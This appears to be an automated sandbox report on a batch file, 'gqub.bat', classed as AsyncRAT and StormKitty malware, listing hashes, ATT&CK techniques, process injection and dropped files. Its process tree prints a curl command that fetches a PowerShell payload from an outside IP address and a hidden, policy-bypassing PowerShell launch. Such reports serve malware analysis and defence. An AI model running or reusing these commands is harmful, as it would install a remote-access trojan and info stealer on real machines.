asyncrat | 7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

General

Target

gqub.bat
Size

3KB
MD5

bb445d197063475c8d78de4f0825753c
SHA1

158a8e3b278affe7c1185aad67683e4253cf53dd
SHA256

7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10
SHA512

173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/4808-30-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	3800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3800	powershell.exe

Downloads MZ/PE file
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3800 set thread context of 4808	3800	powershell.exe	88

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
4808	RegAsm.exe
4808	RegAsm.exe
4808	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	4808	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4808	RegAsm.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3992 wrote to memory of 2832	3992	cmd.exe	83
PID 3992 wrote to memory of 2832	3992	cmd.exe	83
PID 3992 wrote to memory of 3800	3992	cmd.exe	84
PID 3992 wrote to memory of 3800	3992	cmd.exe	84
PID 2832 wrote to memory of 3232	2832	cmd.exe	85
PID 2832 wrote to memory of 3232	2832	cmd.exe	85
PID 3800 wrote to memory of 2128	3800	powershell.exe	86
PID 3800 wrote to memory of 2128	3800	powershell.exe	86
PID 2128 wrote to memory of 3956	2128	csc.exe	87
PID 2128 wrote to memory of 3956	2128	csc.exe	87
PID 3800 wrote to memory of 4808	3800	powershell.exe	88
PID 3800 wrote to memory of 4808	3800	powershell.exe	88
PID 3800 wrote to memory of 4808	3800	powershell.exe	88
PID 3800 wrote to memory of 4808	3800	powershell.exe	88
PID 3800 wrote to memory of 4808	3800	powershell.exe	88
PID 3800 wrote to memory of 4808	3800	powershell.exe	88
PID 3800 wrote to memory of 4808	3800	powershell.exe	88
PID 3800 wrote to memory of 4808	3800	powershell.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\gqub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Windows\system32\cmd.exe
  cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\curl.exe
    curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    PID:3232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gak3vm02\gak3vm02.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7937.tmp" "c:\Users\Admin\AppData\Local\Temp\gak3vm02\CSCFC522A7512B40BE803C791195357092.TMP"
      4⤵
      PID:3956
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES7937.tmp

Filesize
1KB

MD5
436ba863f56df1c7f4f12fa5f00aecad

SHA1
82a629c693bab514df30eabd92609530b45539a4

SHA256
234db38b78b1a89308bae4dce49b2c163de3de19a4df68285de0cc026e168781

SHA512
fe1ce076417151b8c74d004ba8a7d6ba04c3677a336f437bdc804a21c34d65884aeb797ecd766a2a1572ae5cbb8596a1a66d16401c7bdd19ef9789862f518782

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3bfbmawu.04y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gak3vm02\gak3vm02.dll

Filesize
9KB

MD5
b48b775092c585504f38768bbcce7def

SHA1
e63afb6e364668922f87208c41963395c61f6f4a

SHA256
0649527a90818c19cf4ca74285439bd627240bac14c174169d2b8e37144ffb2e

SHA512
1055d95dbd75439bbb137c657b4b5e77184283951c0c3601c8d5b5ef97db6daa94af62b14a4a9aa54108aec305e76b97a0937383ed92ac861f70f07815e788fc

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gak3vm02\CSCFC522A7512B40BE803C791195357092.TMP

Filesize
652B

MD5
1e9850115eb7a2f3a6989144891cb861

SHA1
08a6e6c2009206eb97bf966310d781e0934324bd

SHA256
b4a8eaab8d1adcde9d0a303828a3006184f3fa7e3b229a6c44baf934812fe9fe

SHA512
1cd1fe186a2cff8ff17a9b0941c2b35c796fa4158e21a0d367546327c471bb65b8e060bfc2cc8b25eb3a4284ad61c62eadf63913bfb9090dae02fe988a87e255

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gak3vm02\gak3vm02.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gak3vm02\gak3vm02.cmdline

Filesize
204B

MD5
8923d886eaa737e760d2e722ea6f2c1d

SHA1
5ee05c571bc1d6b6047d5af1d6aa55722ee6b10f

SHA256
efcaa5fede9bacf5f0fb38ac80051f66887f8d8f5a98de4fb2dbf29e5eca67be

SHA512
f30d09dd1d3a26f9b30d06e29c791fee529d1cea8670bb4a4a526d6b40b11094d61e17cc523144c498417010ece80e632848abebf2db9ad9b06768cddf375df0

Download Submit
memory/3800-13-0x000002087FD40000-0x000002087FD84000-memory.dmp

Filesize
272KB

Download
memory/3800-33-0x00007FFF48350000-0x00007FFF48E11000-memory.dmp

Filesize
10.8MB

Download
memory/3800-14-0x000002087FE10000-0x000002087FE86000-memory.dmp

Filesize
472KB

Download
memory/3800-0-0x00007FFF48353000-0x00007FFF48355000-memory.dmp

Filesize
8KB

Download
memory/3800-12-0x00007FFF48350000-0x00007FFF48E11000-memory.dmp

Filesize
10.8MB

Download
memory/3800-11-0x00007FFF48350000-0x00007FFF48E11000-memory.dmp

Filesize
10.8MB

Download
memory/3800-28-0x00000208197A0000-0x00000208197A8000-memory.dmp

Filesize
32KB

Download
memory/3800-10-0x000002087FCC0000-0x000002087FCE2000-memory.dmp

Filesize
136KB

Download
memory/3800-15-0x0000020819790000-0x00000208197A0000-memory.dmp

Filesize
64KB

Download
memory/4808-30-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4808-34-0x0000000005AD0000-0x0000000006074000-memory.dmp

Filesize
5.6MB

Download
memory/4808-35-0x0000000005960000-0x00000000059F2000-memory.dmp

Filesize
584KB

Download
memory/4808-36-0x0000000005930000-0x000000000593A000-memory.dmp

Filesize
40KB

Download
memory/4808-39-0x0000000006A70000-0x0000000006B0C000-memory.dmp

Filesize
624KB

Download
memory/4808-40-0x0000000006760000-0x00000000067C6000-memory.dmp

Filesize
408KB

Download
memory/4808-41-0x0000000006E00000-0x0000000006E22000-memory.dmp

Filesize
136KB

Download
memory/4808-42-0x0000000006E30000-0x0000000007184000-memory.dmp

Filesize
3.3MB

Download

Analysis

Sharing